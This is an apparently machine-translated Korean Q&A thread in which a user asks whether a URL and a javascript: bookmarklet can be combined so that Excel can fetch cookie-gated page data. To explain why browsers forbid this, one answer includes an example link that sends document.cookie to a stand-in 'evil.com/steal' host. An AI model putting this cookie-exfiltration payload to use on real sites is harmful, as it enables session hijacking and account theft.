2011-11-29 2 views
0

다른 사용자의 사이트에서 일부 데이터에 액세스해야합니다. 해당 페이지로 이동하는 방법은 http://www.foosite.com을 방문하고 javascript:foo(); 링크를 클릭하면 실제 데이터를 가져올 수 있습니다.URL과 자바 스크립트 북마크를 함께 결합하십시오.

foo는()는 같은 수 있습니다 :

function foo(param){ 
    createXXXCookie('COOKIE_NAME', param, 60); 
    window.location.href="/current/location"; 
} 

그래서이 기본적으로 쿠키를 설정하고 페이지를 다시 다시로드합니다. 페이지가로드되는 동안 문서는 COOKIE_NAME을 읽고 해당 데이터를 표시합니다.

MS Excel을 사용하여이 페이지의 일부 데이터를 가져오고 싶습니다. 그래서 저는 데이터를 얻기 위해 한 가지 방법을 찾고있었습니다. 브라우저 주소 표시 줄에 처음으로 http://www.foosite.com을 입력 한 다음 javascript:foo();을 입력하여 foo()를 호출 할 수 있습니다. http://www.foosite.com;javascript:foo();처럼 URL과 북마크릿을 결합하면 궁금합니다. 실제로 이것을 시도했지만 IE/FF/GC는 javascript : ... 부분을 건너 뛰고 URL의 첫 번째 부분 만 진행합니다.

답변

1

이것은 불가능합니다.

가능했다면 치명적인 보안 구멍이 될 수 있습니다.

누군가에게 짧은 링크를 http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie))으로 보내고 자동 제출 양식으로 이동하십시오.

+0

좋은 지적입니다. 그래서 제 경우에는 자바 스크립트 함수가 불가능 해지면 MS Excel에서 데이터를 가져올 수 있기를 바랍니다. 어떻게해야되는지 알고 싶습니까? – Stan

+0

아니요. – SLaks

+0

이 개념을 사용하여 웹 데이터를 Excel로 가져 왔습니다. http://bensullins.com/hacking-excel-web-queries/ – GollyJer